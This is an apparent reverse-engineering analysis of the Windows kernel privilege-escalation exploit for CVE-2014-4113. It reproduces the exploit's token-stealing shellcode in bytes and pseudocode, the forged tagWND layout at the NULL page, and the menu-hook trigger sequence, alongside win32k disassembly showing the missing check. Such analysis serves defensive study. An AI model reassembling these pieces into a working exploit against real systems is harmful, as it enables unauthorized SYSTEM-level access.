Analysis of CVE-2014-4113 (Windows privilege Escalation

Analysis of CVE-2014-4113
(Windows privilege Escalation Vulnerability)
Ronnie Johndas
Here we will be looking a kernel level privilege escalation vulnerability CVE-2014-4113. The vulnerability
is exploited by creating tagWND structure at NULL page (0x00000000). We’ll see here why control is
transferred to the shellcode and the reason the malicious tagWND structure is the crafted the way it is.
User-Mode Code
The exe first tries to determine the OS it is running on and stores the following data in the variable
based on the OS version and build:
Windows Xp Sp2
Windows Xp Sp1
Windows Xp Sp3
Windows Server 2008
windows 7 / Windows Server 2008 R2
0c8
12c
0d8
0e0
0f8
Although this was checked, this data is not being used anywhere to restrict execution. All these versions
allow memory allocation at NULL page.
After that it calls "ZwQuerySystemInformation" with the following arguments:
|InfoType = SystemModuleInfo
Buffer = 00153850
|Bufsize = 8640 (34368.)
\pReqsize = 0012FDEC
This gives the list of modules loaded in kernel space. As shown below:
00153870 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65 6D 33 \WINDOWS\system3
00153880 32 5C 6E 74 6B 72 6E 6C 70 61 2E 65 78 65 00 00 2\ntkrnlpa.exe..
…………………………………………………………………………………………………..
00153980 00 40 00 0C 01 00 00 00 01 00 12 00 5C 57 49 4E .@..........\WIN
00153990 44 4F 57 53 5C 73 79 73 74 65 6D 33 32 5C 68 61 DOWS\system32\ha
001539A0 6C 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 l.dll...........
From this list it will search for the module “ntkrnlpa.exe” and get its load address. Then it will load
ntkrnlpa.exe and get the function address for "PsLookupProcessByProcessId" and then subtracts the
value from the load address of ntkrnlpa.exe in user space to get the RVA then adds it to the kernel level
base address of ntkrnlpa.exe to the address to the function in kernel mode and copies it to a location.
This location is like a call table that will be used by shellcode to call ntkrnlpa.exe exported functions.
The shellcode come embedded in the exe:
004013D6
004013D9
004013DD
004013DE
004013DF
004013E5
004013EA
004013ED
004013EE
004013EF
004013FA
004013FD
00401400
00401404
00401407
00401409
0040140C
. 83EC 08
. 8D4424 04
. 50
. 51
. FF15 80434000
. A1 9C434000
. 8D1424
. 52
. 50
. FF15 80434000
. 8B0C24
. 8B1408
. 8B4C24 04
. 891408
. 33C0
. 83C4 08
. C2 1000
SUB ESP,8
LEA EAX,DWORD PTR SS:[ESP+4]
PUSH EAX
PUSH ECX
CALL DWORD PTR DS:[404380]
MOV EAX,DWORD PTR DS:[40439C]
LEA EDX,DWORD PTR SS:[ESP]
PUSH EDX
PUSH EAX
CALL DWORD PTR DS:[404380]
MOV ECX,DWORD PTR SS:[ESP]
MOV EDX,DWORD PTR DS:[EAX+ECX]
MOV ECX,DWORD PTR SS:[ESP+4]
MOV DWORD PTR DS:[EAX+ECX],EDX
XOR EAX,EAX
ADD ESP,8
RETN 10
The pseudo code for the shellcode is given below:
PROCESS pCur, pSys ;
PsLookupProcessByProcessId (CurProcessId, &Cur);
PsLookupProcessByProcessId (SystemProcessId, &Sys);
Cur + TokenOffset = Sys + TokenOffset;
return 0 ;
The variable TokenOffset is the security token which holds the privileges for the process: We can see it
in the listing below for the EPROCESS structure:
ntdll!_EPROCESS
..............
+0x0c0 ExceptionPort : (null)
+0x0c4 ObjectTable : 0xe1000cb8 _HANDLE_TABLE
+0x0c8 Token
: _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
+0x0ec WorkingSetPage : 0
...............
It then creates a window:
WNDCLASS wcla ;
wcla.lpfnWndProc = FirstWndProc ;
wcla.lpszClassName = "******" ;
RegisterClass(&wcla) ;
hWnd = CreateWindowExA(0, wcla.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
After this it will try to construct memory at null page using the function ZwAllocateVirtualMemory. And
fill it with certain values at certain offsets.
One of the value is gathered by calling a code block with in either of the functions “AnimateWindow” or
“CreateSystemThreads”. The code block looks like the following in AnimateWindow:
7E418655
7E41865B
7E41865F
7E418665
7E41866B
7E41866E
64:A1 18000000
8378 40 00
0F84 F9870200
64:A1 18000000
8B40 40
C3
MOV EAX,DWORD PTR FS:[18]
CMP DWORD PTR DS:[EAX+40],0
JE USER32.7E440E5E
MOV EAX,DWORD PTR FS:[18]
MOV EAX,DWORD PTR DS:[EAX+40]
RETN
This code block is responsible for extracting an important data structure called “Win32 Thread address”.
This value will be placed at offset 0x3, the rest of the values are static and show below:
0040145D |> 893D 03000000 MOV DWORD PTR DS:[3],EDI - win32 thread address
00401463 |. C605 11000000 MOV BYTE PTR DS:[11],4
0040146A |. C705 5B000000 MOV DWORD PTR DS:[5B],x86.004013D0  address of our exploit code
This are the only fields in the malicious tagWND structure that is populated. We’ll see why this memory
is constructed the way it is in next section.
After that it does the following steps:
1. Creates two popmenus and insert one items each.
2. If successful it will call SetWindowsHookExA to set a hook at a WndProc1.
3. It will then call TrackPopupMenu this will send the message 0x1EB. If this message is
encountered by WndProc1 it will unhook itself using UnhookWindowsHook install a new hook
using SetWindowLongA called WndProc2. Then places a call to CallNextHookEx.
4. This call will lead to WndProc2 here if the message is 0x1EB it will call EndMenu and return a
value of -5.
At this point the execution is transferred to kernel mode after some user32.dll calls.
Kernel Mode Exception analysis and code execution
To begin analysis there are three approaches:
1. Corrupt the value at 0x00000003 which is the win32 thread address which lead to a blue screen
and get the stack trace from there.
2. Patch the shellcode discussed earlier with a 0xCC replacing its first byte “0x83”, this will lead a
dbg interrupt, and we can get the stack trace from that point.
3. Setup a hardware break point for memory read at address 0x00000003.
Following the second approach you’ll get the following stacktrace, to get this stack trace install
symbol for win xp sp3 and use the commands .sympath and .reload to set up and load the symbols:
b24f8ba4 bf80ecc6 fffffffb 000001ed 009efef4
b24f8bc8 bf8f2d0f fffffffb 000001ed 009efef4
b24f8c28 bf8f3679 b24f8c48 00000000 009efef4
b24f8c74 bf923a7d e2136938 bf9ab860 00000000
b24f8cd4 bf91287c 00000017 00000000 ffffd8f0
b24f8d44 8053d638 000f01dd 00000000 ffffd8f0
b24f8d44 7c90e4f4 000f01dd 00000000 ffffd8f0
009eff08 7e46cf6e 7e465339 000f01dd 00000000
009eff2c 00401784 000f01dd 00000000 ffffd8f0
009effb4 7c80b713 00000000 00000002 00140013
009effec 00000000 00401670 00000000 00000000
<Exe-Name>+0x13d0
win32k!xxxSendMessage+0x1b
win32k!xxxHandleMenuMessages+0x589
win32k!xxxMNLoop+0x295
win32k!xxxTrackPopupMenuEx+0x4d1
win32k!NtUserTrackPopupMenuEx+0xb4
nt!KiFastCallEntry+0xf8
ntdll!KiFastSystemCallRet
USER32!NtUserTrackPopupMenuEx+0xc
<Exe-Name>+0x1784
kernel32!BaseThreadStart+0x37.
There are other analysis already existing such as in [1] which already tells us where to start looking at,
the article tells us that issue starts from the api xxxHandleMenuMessages exported by win32k.sys. So
we start from there and locate the code:
win32k:BF8F2C3E
win32k:BF8F2C43
win32k:BF8F2C45
win32k:BF8F2C46
win32k:BF8F2C4B
win32k:BF8F2C4D
win32k:BF8F2C50
call win32k_xxxMNFindWindowFromPoint
mov ebx, eax
push ebx
call win32k_IsMFMWFPWindow
test eax, eax
mov [ebp+0Ch], eax
jz short loc_BF8F2C6D
Ebx contains the value -0x 5. The value is placed here because of the call to win32k_xxxSendMessage in
xxxMNFindWindowFromPoint:
win32k:BF8CDE26
win32k:BF8CDE29
push dword ptr [edi+0Ch]
call win32k_xxxSendMessage
The register Eax contains the value -0x5 which will be passed on by xxxMNFindWindowFromPoint. I
haven’t gone as far as to find out why xxxSendMessage returns -0x5.
At this point we have -0x5 in ebx register and there is a call to IsMFMWFPWindow, this function verifies
whether tagWnd structure passed to it valid. The comparison fails at the following point inside
IsMFMWFPWindow:
cmp
win32k:BF8F3B7F
win32k:BF8F3B81
win32k:BF8F3B85
[ebp+arg_0], 0FFFFFFFBh  arg-0 points to the passed tagWND structure
jz short loc_BF8F3B9C
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_BF8F3B9C
This function return a value of 0 if the struct is invalid. And takes the jump which leads it to the following
location:
win32k:BF8F2CD6 loc_BF8F2CD6:
; CODE XREF: win32k_xxxHandleMenuMessages+39Dj
win32k:BF8F2CD6
; win32k_xxxHandleMenuMessages+3A2j
win32k:BF8F2CD6
cmp ebx, 0FFFFFFFFh
win32k:BF8F2CD9
jnz short loc_B
Here it checks to see if the return value from xxxMNFindWindowFromPoint is -0x1 but fails to check if it
is -0x5. If it was -0x1 it would call win32k_xxxMNButtonDown and win32k_xxxMNRemoveMessage and
return (none of these function seem to use the suspect -0x5 value. This shows why a -0x5 had to be
returned for the exploit to work. Since the check was not there it will push on to the following code
section:
win32k:BF8F2CFF loc_BF8F2CFF:
win32k:BF8F2CFF
push 0
win32k:BF8F2D01
push [ebp+arg_8]
win32k:BF8F2D04
push 1EDh
win32k:BF8F2D09
push ebx
win32k:BF8F2D0A
call win32k_xxxSendMessage
win32k:BF8F2D0F
jmp short loc_BF
Stack for the same:
B2363BD0
B2363BD4
B2363BD8
B2363BDC
FFFFFFFB  ebx
000001ED
009EFEF4
00000000
The entire argument stack is passed as it is to the function win32k_xxxSendMessageTimeout. In this
function we can see a check:
win32k:BF8140C7
win32k:BF8140CA
win32k:BF8140CD
mov esi, [ebp+tagWND]
cmp esi, 0FFFFFFFFh
jz loc_BF813F82
In case the value is -0x1 then it will exit after calling win32k_xxxBroadcastMessage. Again we can see
that the check -0x5 is missing.
In the case when the values are not equal, it will arrive at the following address:
win32k:BF8140E5
win32k:BF8140EB
win32k:BF8140EE
mov edi, win32k_gptiCurrent
cmp edi, [esi+8]
jnz short loc_BF814157
The value win32k_gptiCurrent is win32threadInfo. Based on the snippet given below which shows how
the variable is set:
[email protected] proc near
call
push
push
call
call
push
call
mov
retn
ds:[email protected] ; KeEnterCriticalRegion()
1
; Wait
_gpresUser ; Resource
ds:[email protected] ; ExAcquireResourceExclusiveLite(x,x)
ds:[email protected] ; PsGetCurrentThread()
eax
ds:[email protected] ; PsGetThreadWin32Thread(x)
_gptiCurrent, eax
[email protected] endp
Definition of PsGetThreadWin32Thread:
PsGetThreadWin32Thread(IN PETHREAD Thread)
{
return Thread->Tcb.Win32Thread;
}
As we can see as to why the attacker has set the value at offset 0x00000003 with win32threadinfo. The
value of ESI is 0xfffffffb, and even though the win32threadinfo is at an offset of 0x8, because of the
value in esi the attacker had to move it to offset 0x3, so it could be read properly. And then it is
compared with the value in win32k_gptiCurrent and they should be same for the exploit to work.
Moving forward we can see another check:
win32k:BF814104
win32k:BF814108
win32k:BF81410B
win32k:BF81410C
test byte ptr [esi+16h], 4  esi = 0xfffffffb
lea eax, [ebp+arg_10]
push eax
jnz loc_BF
A value at offset 0x16 is checked to see if it is equal to 4, the attacker has already set this value in the
offset 0x11 in the buffer at address 0x00000000 to clear this check.
After clearing these checks we get to the point where our shellcode is executed:
win32k:BF81408E
win32k:BF814091
win32k:BF814094
win32k:BF814095
win32k:BF814096
push
push
push
push
call
dword ptr [ebp+14h]
dword ptr [ebp+10h]
ebx
esi
dword ptr [esi+60h]
Attacker has placed at address 0x0000005B the address of our shellcode which gets called here.
Let’s look at the structure of tagWND object:
typedef struct tagWND
{
/*0x000*/ struct _THRDESKHEAD head;
/*0x014*/ ULONG32 state;
……………………..
/*0x060*/ PVOID lpfnWndProc;
} WND, *PWND;
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD;
PTHREADINFO pti;
} THROBJHEAD, *PTHROBJHEAD;
//
typedef struct _THRDESKHEAD
{
THROBJHEAD;
PDESKTOP rpdesk;
PVOID
pSelf; // points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;
As we can see from above(highlighted in red) the offset 0x8 is actually the pointer to win32threadinfo
object, where the attacker has placed the value captured from AnimateWindow, the next value which
was places was “4” which maps to 0x16 “state” member and the final value is mapped to the
“lpfnWndProc” (Pointer to the window procedure handler) where the attacker has placed the address to
shellcode.
References
1. http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernelmode-vulnerability-cve-2014-4113/